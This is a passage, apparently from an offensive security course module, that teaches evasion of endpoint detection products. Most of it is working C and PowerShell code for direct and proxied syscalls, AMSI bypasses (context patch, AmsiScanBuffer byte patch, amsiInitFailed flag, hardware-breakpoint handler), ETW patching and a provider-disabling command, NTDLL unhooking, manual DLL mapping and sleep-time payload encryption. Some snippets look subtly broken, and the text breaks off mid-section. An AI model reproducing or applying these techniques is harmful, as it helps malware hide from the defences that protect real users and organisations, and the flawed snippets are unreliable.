Module 13: EDR Evasion LIVE TESTED
Module 13 of 22 — Becoming invisible to the watchers
🧠 The Core Truth
EDR (Endpoint Detection and Response) is not magic. It's software that watches software. It has blind spots, performance limits, and design trade-offs. EDR evasion is the art of being boring enough to ignore, fast enough to miss, or disguised enough to trust.
First principle: EDR is a user-mode (and sometimes kernel-mode) observer. It cannot see what it does not hook. It cannot flag what it does not recognize. Every detection is a pattern match — and pattern matches can be evaded.
🎯 Soldier Translation
EDR is the security camera. You can't blind it (it's hardware), but you can wear a mask (obfuscation), move too fast for the shutter (timing), or look like the janitor (masquerade). This module teaches you all three.
The camera (EDR) records everything, but the guard (analyst) only watches the flagged footage. Your goal is to never appear in the flagged footage.
🧠 Mentor Note — asi dev [HTB]
"EDR sees behavior, not just signatures."
A virus scanner checks your face against a wanted poster. EDR watches how you walk, where you go, and what you touch. Even a brand-new tool gets flagged if it acts like malware — so learn to act like something else.
Red: Design payloads around suspicious action sequences, not just string hiding. Blue: Tune detections on behavioral chains (allocate → write → execute → network), not single IOCs.
🧠 Mentor Note — asi dev [HTB]
"Sleep and jitter defeat behavioral analysis."
If you knock on a door every 30 seconds, someone will notice the pattern. If you wait random minutes between knocks, you look like wind, not a visitor. Sleep obfuscation and jitter break the rhythm EDR uses to spot automation.
Red: Randomize beacon intervals and encrypt memory while dormant. Blue: Use statistical anomaly detection on timing patterns, not fixed thresholds.
🧠 Mentor Note — asi dev [HTB]
"The best evasion is looking like a normal user."
A ghost in a crowd is invisible not because it is hidden, but because it looks like everyone else. Use legitimate processes, normal file paths, signed binaries, and expected network destinations. The more boring you are, the harder you are to see.
Red: Blend into baseline activity — parent processes, command lines, and domains should look mundane. Blue: Baseline normal user behavior so outliers stand out.
1. EDR Architecture — How the Watcher Works
Before you can evade an EDR, you must understand how it sees. EDR products (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint, Carbon Black) share a common architecture built around hooking, telemetry, and heuristics.
┌─────────────────────────────────────────────────────────┐
│ USER MODE │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ Malware │ │ Legit App │ │ EDR Agent │ │
│ │ Process │ │ Process │ │ (User DLL) │ │
│ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────┐ │
│ │ NTDLL.DLL (User-Mode Hooks: EDR patches here) │ │
│ │ ┌─────────────────────────────────────────────┐ │ │
│ │ │ NtCreateThreadEx → JMP [EDR_Hook] │ │ │
│ │ │ NtAllocateVirtualMemory → JMP [EDR_Hook] │ │ │
│ │ │ NtWriteVirtualMemory → JMP [EDR_Hook] │ │ │
│ │ └─────────────────────────────────────────────┘ │ │
│ └─────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ KERNEL MODE │
│ ┌─────────────────────────────────────────────────┐ │
│ │ Kernel-Mode Driver (EDR.sys) │ │
│ │ • Kernel callbacks (PsSetCreateProcessNotify) │ │
│ │ • Minifilter (FS operations) │ │
│ │ • ETW consumers │ │
│ │ • Kernel APC injection │ │
│ └─────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────┐ │
│ │ Windows Kernel (ntoskrnl.exe) │ │
│ │ • SSDT (System Service Descriptor Table) │ │
│ │ • Shadow SSDT (win32k.sys) │ │
│ └─────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────┘
Why this architecture matters
EDR operates at two levels: user-mode (DLL injection into processes, hooking NTDLL) and kernel-mode (driver callbacks, ETW, minifilters). User-mode hooks are easy to bypass. Kernel-mode hooks require more sophistication. The most advanced EDR evasion chains bypass both.
EDR Detection Vectors
| Vector |
What It Watches |
Mode |
Bypass Difficulty |
| NTDLL Hooks |
Syscall stubs in user-mode |
User |
Easy |
| IAT/EAT Hooks |
Import/Export Address Tables |
User |
Easy |
| Kernel Callbacks |
Process/thread creation, image loads |
Kernel |
Medium |
| ETW (Event Tracing) |
Security events, API calls |
Kernel/User |
Medium |
| AMSI |
Script content (PowerShell, VBA, JS) |
User |
Easy |
| Minifilter |
File system I/O |
Kernel |
Hard |
| Hardware BP |
Debug registers (DR0-DR3) |
Hardware |
Hard |
| Hypervisor |
Memory introspection (Intel VT-x) |
Hypervisor |
Very Hard |
2. User-Mode vs Kernel-Mode Hooks
Hooks are the EDR's eyes. They intercept function calls before they reach the kernel, allowing the EDR to inspect arguments, block operations, or log telemetry. Understanding the difference between user-mode and kernel-mode hooks is fundamental to evasion.
2.1 User-Mode Hooks (IAT / EAT / Inline)
IAT Hooking — Redirecting the Import Table
The Import Address Table (IAT) tells a PE file where to find external functions. EDR patches the IAT so that calls to VirtualAlloc go to EDR_VirtualAlloc first.
// BEFORE hooking:
IAT[VirtualAlloc] = 0x7FFE0000 → kernel32!VirtualAlloc
// AFTER EDR hooks IAT:
IAT[VirtualAlloc] = 0x6BAA0000 → edr_agent.dll!EDR_VirtualAlloc
→ inspects args
→ logs telemetry
→ calls real VirtualAlloc
Why IAT hooks are weak
IAT hooks only catch calls that go through the IAT. If malware resolves APIs at runtime with GetProcAddress or walks the PEB directly, the IAT is never consulted. The EDR sees nothing.
Inline Hooking — Patching the Function Body
Inline hooks are more powerful. The EDR overwrites the first bytes of the actual function with a JMP to its own hook. Every caller — IAT, GetProcAddress, or hardcoded address — hits the hook.
// Original NtAllocateVirtualMemory in NTDLL:
NtAllocateVirtualMemory:
mov r11, 0x18 ; syscall number
mov eax, r11d
syscall
ret
// After EDR inline hook:
NtAllocateVirtualMemory:
jmp [EDR_Hook_NtAllocateVirtualMemory] ; 5-byte JMP
nop
nop
...
// EDR hook function:
EDR_Hook_NtAllocateVirtualMemory:
; Log: Process X called NtAllocateVirtualMemory with args Y
; Check: Is this suspicious? (RWX allocation, large size, etc.)
; If clean: jmp to original function (trampoline)
; If suspicious: block or alert
2.2 Kernel-Mode Hooks
Kernel Callbacks (PsSetCreateProcessNotifyRoutine)
EDR kernel drivers register callbacks with the Windows kernel. These callbacks fire on every process creation, thread creation, image load, and registry operation. Unlike user-mode hooks, these cannot be bypassed from user-mode — they live in kernel space.
// EDR driver registers callback:
PsSetCreateProcessNotifyRoutine(EDR_ProcessCallback, FALSE);
// This callback fires for EVERY process creation:
VOID EDR_ProcessCallback(
HANDLE ParentId,
HANDLE ProcessId,
BOOLEAN Create
) {
// Log: Process X created by parent Y
// Check: Is parent legitimate? Is image signed?
// If suspicious: send alert to EDR cloud
}
⚠️ Kernel callbacks are hard to bypass
From user-mode, you cannot directly unregister kernel callbacks (PatchGuard protects the callback arrays). However, you can:
- Unload the EDR driver (if you have admin + driver unload rights)
- Exploit a driver vulnerability to patch callback arrays
- Call syscalls directly, bypassing the user-mode hook that triggers the kernel callback
Hook Comparison Matrix
| Hook Type |
Location |
Detects |
Bypass Method |
| IAT Hook |
PE Import Table |
Compile-time imports |
Dynamic API resolution |
| EAT Hook |
Export Table |
GetProcAddress calls |
PEB walking, direct syscalls |
| Inline Hook |
Function prologue |
All callers |
Direct syscalls, unhooking |
| SSDT Hook |
Kernel SSDT |
All syscalls |
SSDT restoration, direct syscall |
| Kernel Callback |
Callback arrays |
Process/thread events |
Callback removal (requires kernel) |
3. Direct Syscalls — Bypassing the Hooked Gate
Direct syscalls are the most fundamental EDR evasion technique. Instead of calling NtAllocateVirtualMemory through NTDLL (which the EDR has hooked), you call the kernel directly from your own code. The EDR's user-mode hook is never executed.
NORMAL PATH
Malware → NTDLL (hooked) → Kernel
EDR sees everything
→
DIRECT SYSCALL
Malware → Kernel
EDR user hook bypassed
How Syscalls Work on Windows
Windows system calls use a specific convention. On x64, the syscall number goes in eax, arguments in registers (RCX, RDX, R8, R9, stack), and the syscall instruction transitions to kernel mode. The kernel uses the SSDT to dispatch to the correct handler.
// NTDLL's NtAllocateVirtualMemory (x64):
NtAllocateVirtualMemory:
mov r10, rcx ; First argument moved to r10 (Windows convention)
mov eax, 0x18 ; Syscall number for NtAllocateVirtualMemory
syscall ; Enter kernel mode
ret
// Our direct syscall implementation:
__declspec(naked) NTSTATUS DirectNtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
) {
__asm {
mov r10, rcx
mov eax, 0x18 ; Syscall number (varies by Windows version!)
syscall
ret
}
}
⚠️ Syscall numbers vary by Windows version
The syscall number 0x18 is for NtAllocateVirtualMemory on Windows 10 1909. On Windows 11 22H2, it's different. Hardcoding syscall numbers makes your malware version-specific. Use HellsGate or SysWhispers to resolve them dynamically.
SysWhispers — Automated Syscall Generation
SysWhispers is a tool that generates direct syscall stubs for any Windows API. It extracts syscall numbers from NTDLL at runtime, ensuring compatibility across Windows versions.
// SysWhispers-generated stub (simplified):
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
) {
// 1. Get syscall number from NTDLL at runtime
// 2. Execute direct syscall with correct number
// 3. Return result to caller
// The EDR's hook in NTDLL is never touched
}
Why SysWhispers works
SysWhispers reads the syscall number from the unhooked NTDLL in memory (or from a fresh copy on disk). It then builds a direct syscall stub in your process. The EDR sees your process execute a syscall instruction, but it has no hook on that instruction — it can't intercept it.
Direct Syscall Workflow MEDIUM
Step 1
Read clean NTDLL from disk (\KnownDlls\ntdll.dll)
Step 2
Extract syscall numbers from clean stubs
Step 3
Build custom syscall stubs in .text section
Step 4
Call stub → syscall → kernel (EDR hook bypassed!)
4. Syscall Proxying — Hiding in Plain Sight
Syscall proxying (also called "indirect syscalls" or "syscall jumping") is an evolution of direct syscalls. Instead of executing the syscall instruction yourself, you jump into a syscall instruction inside a legitimate, unhooked system DLL. This defeats EDRs that detect "foreign" syscall instructions outside known DLLs.
The Problem with Direct Syscalls
Some advanced EDRs (CrowdStrike Falcon, SentinelOne) use stack walking and return address validation. If they see a syscall instruction with a return address pointing to your malware's .text section (not NTDLL), they flag it as suspicious.
// EDR stack walk during syscall:
Kernel receives syscall from user-mode
→ Walks stack to find return address
→ Return address = 0x41410000 (your .text section)
→ EDR: "SYSCALL FROM UNKNOWN MODULE — ALERT!"
// With syscall proxying:
Kernel receives syscall from user-mode
→ Walks stack to find return address
→ Return address = 0x7FFE0000 (NTDLL .text section)
→ EDR: "Looks normal, NTDLL called it"
How Syscall Proxying Works
You find a syscall; ret gadget inside NTDLL (or another system DLL), then jump to it. The kernel sees the return address as NTDLL, not your code. Your code never executes the syscall instruction directly.
// 1. Find syscall gadget in NTDLL:
PVOID FindSyscallGadget(HMODULE hNtdll) {
BYTE* base = (BYTE*)hNtdll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + ((PIMAGE_DOS_HEADER)base)->e_lfanew);
PIMAGE_SECTION_HEADER text = &nt->FileHeader;
// ... iterate .text section looking for 0x0F 0x05 (syscall) followed by 0xC3 (ret)
}
// 2. Proxy through the gadget:
typedef NTSTATUS (NTAPI *pSyscallProxy)(...);
NTSTATUS ProxyNtAllocateVirtualMemory(...) {
pSyscallProxy proxy = (pSyscallProxy)g_SyscallGadget;
// Set up registers exactly as NTDLL would
// Jump to proxy — it executes syscall; ret
// Return goes back to NTDLL, then to us
}
Why proxying is stronger than direct syscalls
Direct syscalls leave evidence: your code contains syscall instructions, which is unusual for user-mode code. Syscall proxying delegates the syscall to a legitimate module. The EDR's stack walk shows a clean call chain. The only anomaly is the jump to the gadget — which is much harder to detect than a foreign syscall.
5. HWBP Bypass — The Dark Room Technique
The Dark Room technique, popularized by the vader-rootkit project, uses hardware debug registers (DR0-DR3) to set breakpoints on AMSI and ETW functions. When the EDR's scanner tries to scan your code, the breakpoint fires and redirects execution to your patch — silently disabling the scanner.
Hardware Debug Registers (DR0-DR7)
x86/x64 processors have 8 debug registers. DR0-DR3 hold breakpoint addresses. DR6 is the status register (which breakpoint fired). DR7 is the control register (enable/disable, size, type). These are per-thread and accessible from user-mode via SetThreadContext.
// Debug Register Layout:
DR0: Address of breakpoint 1
DR1: Address of breakpoint 2
DR2: Address of breakpoint 3
DR3: Address of breakpoint 4
DR6: Status (which BP fired, single-step, etc.)
DR7: Control (enable, local/global, type: exec/read/write, size)
// DR7 control bits (simplified):
Bits 0,1: Local/Global enable for DR0
Bits 2,3: Local/Global enable for DR1
Bits 16-17: Condition for DR0 (00=exec, 01=write, 11=read/write)
Bits 18-19: Size for DR0 (00=1B, 01=2B, 10=4B, 11=8B)
The Dark Room Technique
Instead of patching AMSI/ETW directly (which EDR can detect via memory integrity checks), we set a hardware breakpoint on the AMSI scan function. When the EDR calls AMSI to scan our PowerShell script, the HWBP fires, our handler runs first, and we return "clean" before the real scan happens.
// Dark Room HWBP Setup (C):
#include <windows.h>
#include <stdio.h>
// 1. Get address of AmsiScanBuffer:
HMODULE hAmsi = LoadLibraryA("amsi.dll");
PVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
// 2. Set up VEH (Vectored Exception Handler):
AddVectoredExceptionHandler(1, DarkRoomHandler);
// 3. Set HWBP on AmsiScanBuffer using DR0:
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &ctx);
ctx.Dr0 = (DWORD64)pAmsiScanBuffer; // Breakpoint address
ctx.Dr7 = 0x1; // Enable local DR0, execute breakpoint
SetThreadContext(GetCurrentThread(), &ctx);
// 4. Exception handler — fires when AmsiScanBuffer is called:
LONG WINAPI DarkRoomHandler(PEXCEPTION_POINTERS ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
PCONTEXT ctx = ExceptionInfo->ContextRecord;
// Check if DR0 fired (AMSI scan started):
if (ctx->Dr6 & 0x1) {
// Redirect execution to our patch:
ctx->Rip = (DWORD64)PatchAmsiScanBuffer;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
// 5. Our patch — returns "clean" without scanning:
VOID PatchAmsiScanBuffer() {
// Set result to AMSI_RESULT_CLEAN (0):
// Modify stack/registers to return 0
// Resume execution after the AMSI call
}
Dark Room vs Direct Patch
| Method |
Detection Risk |
EDR Visibility |
Persistence |
| Direct Patch (VirtualProtect + memcpy) |
High |
Memory integrity scanners detect .text modifications |
Until process exits |
| HWBP Dark Room |
Medium |
No .text modification; uses CPU debug features |
Per-thread; reset on thread exit |
| Kernel Driver Patch |
Very High |
Kernel PatchGuard detects on modern systems |
Until reboot |
⚠️ Limitations of HWBP
Hardware breakpoints are per-thread and limited to 4 active breakpoints. If the EDR creates a new thread to scan your code, the HWBP won't fire (unless you set it on every thread). Some EDRs also detect debug register manipulation via kernel callbacks. Dark Room is powerful but not invincible.
6. AMSI Bypass — Killing the Script Scanner
AMSI (Antimalware Scan Interface) is Windows' built-in script scanner. When you run PowerShell, JScript, VBScript, or macros, AMSI intercepts the script content and sends it to the registered antivirus for analysis. Bypassing AMSI is essential for running malicious scripts undetected.
How AMSI Works
AMSI is a COM interface loaded into scripting hosts. When PowerShell executes a command, it calls AmsiScanBuffer with the script content. The AV engine analyzes it and returns AMSI_RESULT_CLEAN (0) or AMSI_RESULT_DETECTED (32768).
// AMSI scan flow:
PowerShell → amsi.dll!AmsiScanBuffer(script_content)
→ amsi.dll forwards to registered AV provider
→ AV scans content
→ Returns: 0 (CLEAN) or 32768 (DETECTED)
→ If DETECTED: PowerShell blocks execution
Method 1: AMSI Context Patch (In-Memory)
The most reliable AMSI bypass patches the AMSI_CONTEXT structure in memory, setting the scan result to "clean" before any real scan occurs. This works because AMSI trusts the context state.
// PowerShell AMSI bypass (memory patch):
$a = [Ref].Assembly.GetTypes() | ForEach-Object {
if ($_.Name -like "*iUtils") { $_ }
}
$b = $a.GetFields('NonPublic,Static')
$b | ForEach-Object {
if ($_.Name -like "*Context") { $c = $_ }
}
// Set AMSI session to "clean":
[IntPtr]$ptr = $c.GetValue($null)
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
// Result: AMSI context is now 0 (clean). All scans pass.
Why this works
AMSI maintains a session context that stores the scan state. By setting the context's internal state to 0, we tell AMSI "this session has already been scanned and found clean." Subsequent scans are skipped. This is faster and more reliable than patching AmsiScanBuffer directly.
Method 2: AmsiScanBuffer Patch (Classic)
The classic AMSI bypass patches the AmsiScanBuffer function to always return AMSI_RESULT_CLEAN. This is more detectable (modifies .text section) but works across all AMSI versions.
// C implementation of AMSI bypass:
#include <windows.h>
BOOL BypassAmsi() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (!hAmsi) return FALSE;
PVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
if (!pAmsiScanBuffer) return FALSE;
// Patch: mov eax, 0x80070057 (E_INVALIDARG)
// ret
// This causes AMSI to return "invalid argument" — which
// PowerShell treats as "no scan needed, continue"
BYTE patch[] = {
0xB8, 0x57, 0x00, 0x07, 0x80, // mov eax, 0x80070057
0xC3 // ret
};
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pAmsiScanBuffer, patch, sizeof(patch));
VirtualProtect(pAmsiScanBuffer, sizeof(patch), oldProtect, &oldProtect);
return TRUE;
}
Method 3: AMSI DLL Unload (Stealthy)
Instead of patching, we can unload the AMSI DLL from the process. Without amsi.dll loaded, PowerShell cannot scan scripts. This is stealthier than patching but may cause PowerShell errors if AMSI is expected.
// PowerShell: Unload AMSI from current process:
$AMSI = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils")
$Field = $AMSI.GetField("amsiInitFailed", "NonPublic,Static")
$Field.SetValue($null, $true)
// This sets the internal "AMSI init failed" flag.
// PowerShell thinks AMSI is unavailable and skips all scans.
⚠️ AMSI bypass detection
Modern EDRs detect AMSI bypasses by:
- Monitoring
VirtualProtect on amsi.dll memory regions
- Checking
AmsiScanBuffer integrity via hashes
- Using kernel callbacks to detect .text modifications
- Behavioral: "PowerShell + memory write to AMSI = suspicious"
Combine AMSI bypass with sleep obfuscation and indirect syscalls to reduce detection risk.
7. ETW Bypass — Silencing the Windows Logger
ETW (Event Tracing for Windows) is the OS-wide telemetry system. Security providers subscribe to ETW events to detect suspicious activity: process creation, network connections, registry changes, API calls. Bypassing ETW reduces the telemetry available to EDR and SIEM systems.
ETW Architecture
ETW has three components: Providers (emit events), Consumers (receive events), and Controllers (start/stop sessions). Security EDRs act as consumers, subscribing to events from the Microsoft-Windows-Threat-Intelligence provider and others.
// ETW event flow:
Application / Kernel → ETW Provider
→ ETW Session (in-memory buffer)
→ ETW Consumer (EDR agent)
→ EDR Cloud / SIEM
// Key ETW providers for security:
Microsoft-Windows-Threat-Intelligence → Process injection, API calls
Microsoft-Windows-PowerShell → PowerShell execution
Microsoft-Windows-Sysmon → File, network, registry
Microsoft-Windows-Kernel-Process → Process/thread events
Method 1: ETW Patching (NtTraceEvent)
The simplest ETW bypass patches NtTraceEvent in NTDLL. This function is the gateway for all ETW events from user-mode. If it returns success without doing anything, no events are logged.
// C ETW bypass via NtTraceEvent patch:
#include <windows.h>
BOOL BypassETW() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PVOID pNtTraceEvent = GetProcAddress(hNtdll, "NtTraceEvent");
// Patch: xor eax, eax; ret
// Returns STATUS_SUCCESS (0) without logging anything:
BYTE patch[] = { 0x33, 0xC0, 0xC3 }; // xor eax, eax; ret
DWORD oldProtect;
VirtualProtect(pNtTraceEvent, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pNtTraceEvent, patch, sizeof(patch));
VirtualProtect(pNtTraceEvent, sizeof(patch), oldProtect, &oldProtect);
return TRUE;
}
// Result: All ETW events from this process are silently dropped.
Method 2: ETW Provider Disable (BlockTrace)
Instead of patching the global gateway, we can disable specific ETW providers. This is more targeted — we silence only the security providers, leaving system logging intact (less noisy).
// PowerShell: Disable ETW provider by GUID:
$Provider = [System.Guid]::Parse("{GUID_OF_THREAT_INTELLIGENCE_PROVIDER}")
$EventLog = New-Object System.Diagnostics.Eventing.Reader.EventLogConfiguration "Security"
// Or use wevtutil to disable a provider:
wevtutil.exe sl Microsoft-Windows-Threat-Intelligence /e:false
// C: Use EventWrite to block specific provider:
#include <evntprov.h>
BOOL DisableETWProvider(LPCGUID ProviderGuid) {
REGHANDLE hReg = 0;
EventRegister(ProviderGuid, NULL, NULL, &hReg);
EventUnregister(hReg); // Unregistering stops the provider
return TRUE;
}
Method 3: ETW Session Hijacking
Advanced: ETW sessions are named and shared. If we can find the EDR's ETW session name, we can stop it or redirect its output to a null consumer. This requires admin privileges but is extremely effective.
// Enumerate ETW sessions and find the EDR's:
#include <windows.h>
#include <evntcons.h>
VOID ListETWSessions() {
ULONG bufferSize = 0;
ULONG sessionCount = 0;
// First call: get required buffer size:
ControlTrace(0, NULL, NULL, EVENT_TRACE_CONTROL_QUERY);
// Enumerate all sessions:
PEVENT_TRACE_PROPERTIES sessions = HeapAlloc(GetProcessHeap(), 0, bufferSize);
EnumerateTraceGuids(NULL, 0, &sessionCount); // Simplified
// Look for EDR-specific session names:
// "CrowdStrike", "SentinelOne", "Sysmon", "Microsoft-Windows-Threat-Intelligence"
}
Why ETW bypass is critical
Even if you bypass AMSI and user-mode hooks, ETW still logs your behavior to the EDR. A single CreateRemoteThread call generates an ETW event. The EDR's cloud backend correlates this with other events and flags you. Silencing ETW removes the evidence trail.
8. Unhooking NTDLL — Restoring the Original Gate
If the EDR has patched NTDLL with inline hooks, one powerful evasion is to unhook NTDLL — restore the original bytes from a clean copy. This gives you a pristine syscall gateway for the rest of your operation.
The Unhooking Process
EDR hooks modify NTDLL in memory. But the original NTDLL still exists on disk (and in the \KnownDlls\ section object). We can read the original bytes and overwrite the hooked version.
// Step 1: Read clean NTDLL from disk:
HANDLE hFile = CreateFileA(
"C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
0,
NULL
);
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
PVOID pCleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// Step 2: Get the loaded (hooked) NTDLL:
PVOID pHookedNtdll = GetModuleHandleA("ntdll.dll");
// Step 3: Copy .text section from clean to hooked:
PIMAGE_NT_HEADERS ntClean = (PIMAGE_NT_HEADERS)((BYTE*)pCleanNtdll + ((PIMAGE_DOS_HEADER)pCleanNtdll)->e_lfanew);
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntClean);
for (int i = 0; i < ntClean->FileHeader.NumberOfSections; i++) {
if (strcmp((char*)section[i].Name, ".text") == 0) {
DWORD oldProtect;
VirtualProtect(
(BYTE*)pHookedNtdll + section[i].VirtualAddress,
section[i].Misc.VirtualSize,
PAGE_EXECUTE_READWRITE,
&oldProtect
);
memcpy(
(BYTE*)pHookedNtdll + section[i].VirtualAddress,
(BYTE*)pCleanNtdll + section[i].VirtualAddress,
section[i].Misc.VirtualSize
);
VirtualProtect(
(BYTE*)pHookedNtdll + section[i].VirtualAddress,
section[i].Misc.VirtualSize,
oldProtect,
&oldProtect
);
break;
}
}
// Result: NTDLL is now unhooked. All syscalls go directly to kernel.
⚠️ Detection risks of unhooking
Unhooking NTDLL is a highly suspicious operation. EDRs monitor for:
VirtualProtect on NTDLL memory regions
- Memory writes to
ntdll.dll from non-system processes
- Integrity checks: comparing in-memory NTDLL to disk hash
- Behavioral correlation: unhooking + process injection = critical alert
Use indirect syscalls or manual mapping instead of unhooking when possible. Unhooking is a last resort.
9. Manual Mapping — Loading Without the Loader
Manual mapping is the process of loading a DLL into memory without using the Windows loader (LoadLibrary). This bypasses the EDR's image load callbacks, API monitoring, and IAT hooks. The EDR sees no LoadLibrary call, no PE header registration, and no module in the PEB module list.
Why Manual Mapping Evasion
When you call LoadLibrary("evil.dll"), Windows:
- Calls kernel callbacks (PsSetLoadImageNotifyRoutine) — EDR sees it
- Adds the module to the PEB module list — EDR enumerates it
- Resolves imports through the IAT — EDR hooks are applied
- Calls DLL entry point (DllMain) — EDR can intercept
Manual mapping does none of this. The DLL exists in memory as raw bytes, invisible to standard enumeration.
Manual Mapping Steps
// 1. Read the DLL file into memory:
HANDLE hFile = CreateFileA("evil.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
DWORD fileSize = GetFileSize(hFile, NULL);
BYTE* fileBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize);
ReadFile(hFile, fileBuffer, fileSize, &read, NULL);
// 2. Parse PE headers:
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)fileBuffer;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(fileBuffer + dos->e_lfanew);
// 3. Allocate memory for the mapped image:
BYTE* mappedImage = (BYTE*)VirtualAlloc(
NULL,
nt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// 4. Copy headers and sections:
memcpy(mappedImage, fileBuffer, nt->OptionalHeader.SizeOfHeaders);
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
memcpy(
mappedImage + section[i].VirtualAddress,
fileBuffer + section[i].PointerToRawData,
section[i].SizeOfRawData
);
}
// 5. Process relocations (if base address differs):
PIMAGE_DATA_DIRECTORY relocDir = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(mappedImage + relocDir->VirtualAddress);
DWORD_PTR delta = (DWORD_PTR)mappedImage - nt->OptionalHeader.ImageBase;
// 6. Resolve imports manually (bypass IAT hooks):
PIMAGE_DATA_DIRECTORY importDir = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
PIMAGE_IMPORT_DESCRIPTOR import = (PIMAGE_IMPORT_DESCRIPTOR)(mappedImage + importDir->VirtualAddress);
while (import->Name) {
HMODULE hMod = LoadLibraryA((char*)(mappedImage + import->Name));
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(mappedImage + import->FirstThunk);
// ... resolve each import via GetProcAddress(hMod, name)
import++;
}
// 7. Call DLL entry point (optional, risky):
typedef BOOL (WINAPI *DllMain_t)(HINSTANCE, DWORD, LPVOID);
DllMain_t entry = (DllMain_t)(mappedImage + nt->OptionalHeader.AddressOfEntryPoint);
entry((HINSTANCE)mappedImage, DLL_PROCESS_ATTACH, NULL);
// Result: DLL is loaded in memory but NOT in PEB module list.
// EDR image load callbacks never fired. Invisible to enumeration.
Manual Mapping vs LoadLibrary
| Attribute |
LoadLibrary |
Manual Mapping |
| PEB Module List |
Visible |
Invisible |
| Kernel Callbacks |
Fires |
Skipped |
| IAT Hooks |
Applied by EDR |
Bypassed |
| Import Resolution |
Windows loader |
Manual (controlled) |
| Relocations |
Automatic |
Manual |
| Complexity |
1 API call |
~200 lines |
Why manual mapping is the gold standard
Manual mapping combines multiple evasion techniques into one: no module list visibility, no kernel callbacks, no IAT hooks, and full control over import resolution. It's the technique used by advanced loaders like Donut and Sliver. The trade-off is complexity — you become your own PE loader.
10. Sleep Obfuscation — Encrypting While Dormant
When malware sleeps between C2 beacons, it's vulnerable. EDR memory scanners can inspect the process, find your payload, and flag it. Sleep obfuscation encrypts the malware's memory while sleeping, decrypting only when awake. To the scanner, the memory looks like random noise.
The Sleep Obfuscation Cycle
ACTIVE
Payload decrypted in RWX memory
EDR can scan and detect
→
ENCRYPT
XOR/AES encrypt payload
Change memory to RW
→
SLEEP
Wait for beacon interval
Memory is encrypted garbage
→
DECRYPT
Restore RWX, decrypt payload
Resume execution
Implementation: Ekko / Foliage Technique
The Ekko technique (by Peter Winter-Smith) and Foliage use WaitForSingleObject with a timer and NtContinue to create a ROP chain that encrypts memory, sleeps, then decrypts and resumes — all without leaving a clear execution trace.
// Simplified sleep obfuscation (C):
#include <windows.h>
#include <intrin.h>
VOID SleepObfuscate(DWORD dwMilliseconds) {
// 1. Save context (registers, stack):
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
RtlCaptureContext(&ctx);
// 2. Encrypt payload memory:
PVOID payloadBase = GetModuleHandleA(NULL); // Or your payload section
SIZE_T payloadSize = 0x10000; // Size of payload
DWORD oldProtect;
VirtualProtect(payloadBase, payloadSize, PAGE_READWRITE, &oldProtect);
// XOR encrypt with rotating key:
BYTE key = 0xAB;
for (SIZE_T i = 0; i < payloadSize; i++) {
((BYTE*)payloadBase)[i] ^= key;
key = _rotl8(key, 1);
}
// 3. Sleep:
Sleep(dwMilliseconds);
// 4. Decrypt payload memory:
key = 0xAB;
for (SIZE_T i = 0; i < payloadSize; i++) {
((BYTE*)payloadBase)[i] ^= key;
key = _rotl8(key, 1);
}
VirtualProtect(payloadBase, payloadSize, PAGE_EXECUTE_READ, &oldProtect);
// 5. Restore and continue:
NtContinue(&ctx, FALSE); // Resume execution
}
Advanced: Using ROP + APC for Timer-Based Sleep
The most advanced sleep obfuscation uses QueueUserAPC with a timer and a ROP chain. The ROP chain encrypts memory, sets up a timer, and when the timer fires, another ROP chain decrypts and resumes. The main thread never appears to "sleep" — it's just not executing.
// Ekko-style sleep obfuscation (conceptual):
